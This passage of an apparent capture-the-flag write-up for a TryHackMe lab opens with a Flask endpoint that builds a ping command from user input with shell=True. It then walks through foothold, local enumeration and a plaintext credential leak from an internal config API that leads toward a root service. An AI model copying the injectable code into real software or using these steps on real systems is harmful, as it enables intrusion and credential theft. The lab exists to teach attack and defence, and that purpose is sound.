&lt;pre class=&quot;highlight python&quot;&gt;&lt;code&gt;&lt;span class=&quot;nd&quot;&gt;@app.route&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;/internal/netcheck&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;methods&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;POST&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;netcheck&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;():&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;host&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;request&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;form&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;host&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;sh&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;strip&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;not&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;host&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;render_template&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;status.html&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;host&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;output&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;No host supplied.&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;try&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;proc&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;subprocess&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;run&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
            &lt;span class=&quot;sa&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;ping -c 1 &lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;host&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;shell&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;capture_output&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;text&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;timeout&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;15&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;output&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;proc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;stdout&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;proc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;stderr&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;except&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;subprocess&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;TimeoutExpired&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;output&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;Request timed out.&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;render_template&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;status.html&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;host&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;host&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;output&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;output&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;highlight__panel js-actions-panel&quot;&gt;
&lt;div class=&quot;highlight__panel-action js-fullscreen-code-action&quot;&gt;
    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-on&quot;&gt;&lt;title&gt;Enter fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M16 3h6v6h-2V5h-4V3zM2 3h6v2H4v4H2V3zm18 16v-4h2v6h-6v-2h4zM4 19h4v2H2v-6h2v4z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-off&quot;&gt;&lt;title&gt;Exit fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M18 7h4v2h-6V3h2v4zM8 9H2V7h4V3h2v6zm10 8v4h-2v-6h6v2h-4zM8 15v6H6v-4H2v-2h6z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;



&lt;h2&gt;
  &lt;a name=&quot;foothold-user-flag&quot; href=&quot;https://dev.to/exploitnotes/tryhackme-infinity-pool-writeup-49o8#foothold-user-flag&quot;&gt;
  &lt;/a&gt;
  Foothold - User Flag
&lt;/h2&gt;



&lt;div class=&quot;highlight js-code-highlight&quot;&gt;
&lt;pre class=&quot;highlight shell&quot;&gt;&lt;code&gt;web@tryhackme-2404:/var/www/infinity_pool/edge&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;id
&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;uid&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;1001&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;web&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;gid&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;1001&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;web&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;groups&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;1001&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;web&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
web@tryhackme-2404:/var/www/infinity_pool/edge&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;cat&lt;/span&gt; /home/web/user.txt
THM&lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;REDACTED&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;highlight__panel js-actions-panel&quot;&gt;
&lt;div class=&quot;highlight__panel-action js-fullscreen-code-action&quot;&gt;
    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-on&quot;&gt;&lt;title&gt;Enter fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M16 3h6v6h-2V5h-4V3zM2 3h6v2H4v4H2V3zm18 16v-4h2v6h-6v-2h4zM4 19h4v2H2v-6h2v4z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-off&quot;&gt;&lt;title&gt;Exit fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M18 7h4v2h-6V3h2v4zM8 9H2V7h4V3h2v6zm10 8v4h-2v-6h6v2h-4zM8 15v6H6v-4H2v-2h6z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;



&lt;p&gt;App is served out of &lt;code&gt;/var/www/infinity_pool/edge&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  &lt;a name=&quot;privilege-escalation&quot; href=&quot;https://dev.to/exploitnotes/tryhackme-infinity-pool-writeup-49o8#privilege-escalation&quot;&gt;
  &lt;/a&gt;
  Privilege Escalation
&lt;/h2&gt;

&lt;h3&gt;
  &lt;a name=&quot;enumeration-as-web&quot; href=&quot;https://dev.to/exploitnotes/tryhackme-infinity-pool-writeup-49o8#enumeration-as-web&quot;&gt;
  &lt;/a&gt;
  Enumeration as web
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;sudo -l&lt;/code&gt; requires a password &lt;code&gt;web&lt;/code&gt; doesn&#39;t have:
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;highlight js-code-highlight&quot;&gt;
&lt;pre class=&quot;highlight shell&quot;&gt;&lt;code&gt;  &lt;span class=&quot;nb&quot;&gt;sudo&lt;/span&gt;: a password is required
&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;highlight__panel js-actions-panel&quot;&gt;
&lt;div class=&quot;highlight__panel-action js-fullscreen-code-action&quot;&gt;
    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-on&quot;&gt;&lt;title&gt;Enter fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M16 3h6v6h-2V5h-4V3zM2 3h6v2H4v4H2V3zm18 16v-4h2v6h-6v-2h4zM4 19h4v2H2v-6h2v4z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-off&quot;&gt;&lt;title&gt;Exit fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M18 7h4v2h-6V3h2v4zM8 9H2V7h4V3h2v6zm10 8v4h-2v-6h6v2h-4zM8 15v6H6v-4H2v-2h6z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/home/ubuntu&lt;/code&gt; is locked down - &lt;code&gt;.Xauthority&lt;/code&gt; and &lt;code&gt;.bash_history&lt;/code&gt; both return permission denied.&lt;/li&gt;
&lt;li&gt;No unusual SUID binaries outside standard snap-core noise and system defaults (&lt;code&gt;find / -perm -4000 2&amp;gt;/dev/null&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;ss -tulnp&lt;/code&gt; showed a handful of loopback-only listeners beyond the public app on 80 - but at this stage that&#39;s all it was, just open ports with no names attached:
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;highlight js-code-highlight&quot;&gt;
&lt;pre class=&quot;highlight plaintext&quot;&gt;&lt;code&gt;  127.0.0.1:9000
  127.0.0.1:5038   (matches Asterisk AMI&#39;s default port)
  127.0.0.1:3000
  127.0.0.1:8080
  127.0.0.1:8088
  127.0.0.1:8089
  127.0.0.1:3306   (MySQL/MariaDB)
  0.0.0.0:22       ssh
  0.0.0.0:80       gunicorn
&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;highlight__panel js-actions-panel&quot;&gt;
&lt;div class=&quot;highlight__panel-action js-fullscreen-code-action&quot;&gt;
    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-on&quot;&gt;&lt;title&gt;Enter fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M16 3h6v6h-2V5h-4V3zM2 3h6v2H4v4H2V3zm18 16v-4h2v6h-6v-2h4zM4 19h4v2H2v-6h2v4z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-off&quot;&gt;&lt;title&gt;Exit fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M18 7h4v2h-6V3h2v4zM8 9H2V7h4V3h2v6zm10 8v4h-2v-6h6v2h-4zM8 15v6H6v-4H2v-2h6z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;



&lt;p&gt;5038 and 3306 were recognizable from their well-known defaults, but 3000, 8080, 8088, 8089, and 9000 were all unknowns at this point - just doors with no labels on them.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;ps aux&lt;/code&gt; is what actually identified them. It showed a &lt;code&gt;var/www&lt;/code&gt; tree called &lt;code&gt;infinity_pool&lt;/code&gt; with three separate Python/gunicorn processes, each running as a different user:
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;highlight js-code-highlight&quot;&gt;
&lt;pre class=&quot;highlight plaintext&quot;&gt;&lt;code&gt;  web          665  /var/www/infinity_pool/edge/venv/bin/python3 ... gunicorn --workers 1 --bind 0.0.0.0:80 wsgi:app
  root         664  /var/www/infinity_pool/automation/venv/bin/python3 ... gunicorn --workers 1 --bind 127.0.0.1:9000 wsgi:app
  svc-watch    666  /var/www/infinity_pool/watchtower/venv/bin/python3 ... gunicorn --workers 1 --bind 127.0.0.1:3000 wsgi:app
&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;highlight__panel js-actions-panel&quot;&gt;
&lt;div class=&quot;highlight__panel-action js-fullscreen-code-action&quot;&gt;
    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-on&quot;&gt;&lt;title&gt;Enter fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M16 3h6v6h-2V5h-4V3zM2 3h6v2H4v4H2V3zm18 16v-4h2v6h-6v-2h4zM4 19h4v2H2v-6h2v4z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-off&quot;&gt;&lt;title&gt;Exit fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M18 7h4v2h-6V3h2v4zM8 9H2V7h4V3h2v6zm10 8v4h-2v-6h6v2h-4zM8 15v6H6v-4H2v-2h6z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;



&lt;p&gt;That&#39;s where the port-to-service mapping actually came from: &lt;code&gt;edge&lt;/code&gt; (the app already owned, running as &lt;code&gt;web&lt;/code&gt;) is bound to 80; a separate &lt;code&gt;watchtower&lt;/code&gt; process runs as its own &lt;code&gt;svc-watch&lt;/code&gt; user on 3000; and &lt;code&gt;automation&lt;/code&gt; runs as &lt;strong&gt;root&lt;/strong&gt; on 9000 - the first real sign of something worth escalating toward. &lt;code&gt;ss&lt;/code&gt; alone never suggested any of that; it took reading the process list to connect ports to services and owners. (8080, 8088, and 8089 turned out later to be Apache/FreePBX and Asterisk&#39;s HTTP/ARI interfaces respectively - that only became clear once UCP was reached directly through 8080; &lt;code&gt;ps aux&lt;/code&gt; didn&#39;t tie those ports to Apache as cleanly at this stage.)&lt;/p&gt;

&lt;p&gt;&lt;code&gt;/etc/systemd/system/cc-automation.service&lt;/code&gt; confirmed the important detail - the automation service on port 9000 runs as &lt;strong&gt;root&lt;/strong&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class=&quot;highlight js-code-highlight&quot;&gt;
&lt;pre class=&quot;highlight systemd&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;[Unit]&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;Description&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;=&lt;/span&gt;Closed Circuit - Automation job runner (loopback, root)

&lt;span class=&quot;k&quot;&gt;[Service]&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;User&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;=&lt;/span&gt;root
&lt;span class=&quot;nt&quot;&gt;Group&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;=&lt;/span&gt;root
&lt;span class=&quot;nt&quot;&gt;WorkingDirectory&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;=&lt;/span&gt;/var/www/infinity_pool/automation
&lt;span class=&quot;nt&quot;&gt;EnvironmentFile&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;=&lt;/span&gt;/var/www/infinity_pool/automation/automation.env
&lt;span class=&quot;nt&quot;&gt;ExecStart&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;=&lt;/span&gt;/var/www/infinity_pool/automation/venv/bin/gunicorn --workers 1 --bind 127.0.0.1:9000 wsgi:app
&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;highlight__panel js-actions-panel&quot;&gt;
&lt;div class=&quot;highlight__panel-action js-fullscreen-code-action&quot;&gt;
    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-on&quot;&gt;&lt;title&gt;Enter fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M16 3h6v6h-2V5h-4V3zM2 3h6v2H4v4H2V3zm18 16v-4h2v6h-6v-2h4zM4 19h4v2H2v-6h2v4z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-off&quot;&gt;&lt;title&gt;Exit fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M18 7h4v2h-6V3h2v4zM8 9H2V7h4V3h2v6zm10 8v4h-2v-6h6v2h-4zM8 15v6H6v-4H2v-2h6z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;



&lt;p&gt;&lt;code&gt;automation.env&lt;/code&gt; itself was unreadable as &lt;code&gt;web&lt;/code&gt; (permission denied), so the automation Bearer key had to come from somewhere else.&lt;/p&gt;

&lt;h3&gt;
  &lt;a name=&quot;credential-leak-via-watchtower&quot; href=&quot;https://dev.to/exploitnotes/tryhackme-infinity-pool-writeup-49o8#credential-leak-via-watchtower&quot;&gt;
  &lt;/a&gt;
  Credential leak via Watchtower
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;curl http://localhost:3000/api/config&lt;/code&gt; (the &quot;Watchtower - ops console&quot; service) returned FreePBX UCP credentials in plaintext, explicitly flagged by an internal ops note as not yet rotated:&lt;br&gt;
&lt;/p&gt;

&lt;div class=&quot;highlight js-code-highlight&quot;&gt;
&lt;pre class=&quot;highlight json&quot;&gt;&lt;code&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;automation_endpoint&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;http://127.0.0.1:9000&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
 &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;note&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;internal network only -- do not expose&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
 &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;ops_note&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;UCP still on default template creds (FreePBXUCPTemplateCreator) -- ROTATE.&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
 &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;telephony_pass&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;St4yN0t1c3d_2026&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
 &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;telephony_portal&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;http://127.0.0.1:8080/ucp&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
 &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;telephony_user&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;FreePBXUCPTemplateCreator&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;highlight__panel js-actions-panel&quot;&gt;
&lt;div class=&quot;highlight__panel-action js-fullscreen-code-action&quot;&gt;
    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-on&quot;&gt;&lt;title&gt;Enter fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M16 3h6v6h-2V5h-4V3zM2 3h6v2H4v4H2V3zm18 16v-4h2v6h-6v-2h4zM4 19h4v2H2v-6h2v4z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-off&quot;&gt;&lt;title&gt;Exit fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M18 7h4v2h-6V3h2v4zM8 9H2V7h4V3h2v6zm10 8v4h-2v-6h6v2h-4zM8 15v6H6v-4H2v-2h6z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;



&lt;p&gt;&lt;code&gt;curl http://localhost:9000/health&lt;/code&gt; confirmed the automation service&#39;s shape and that it runs as root:&lt;br&gt;
&lt;/p&gt;

&lt;div class=&quot;highlight js-code-highlight&quot;&gt;
&lt;pre class=&quot;highlight json&quot;&gt;&lt;code&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;endpoints&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:{&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;GET /health&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;service status&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
 &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;POST /jobs/export&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:{&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;auth&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;Authorization: Bearer &amp;lt;automation key&amp;gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
 &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;body&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:{&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;report&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&amp;lt;report name&amp;gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
 &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;desc&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;archive the latest data export&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}},&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
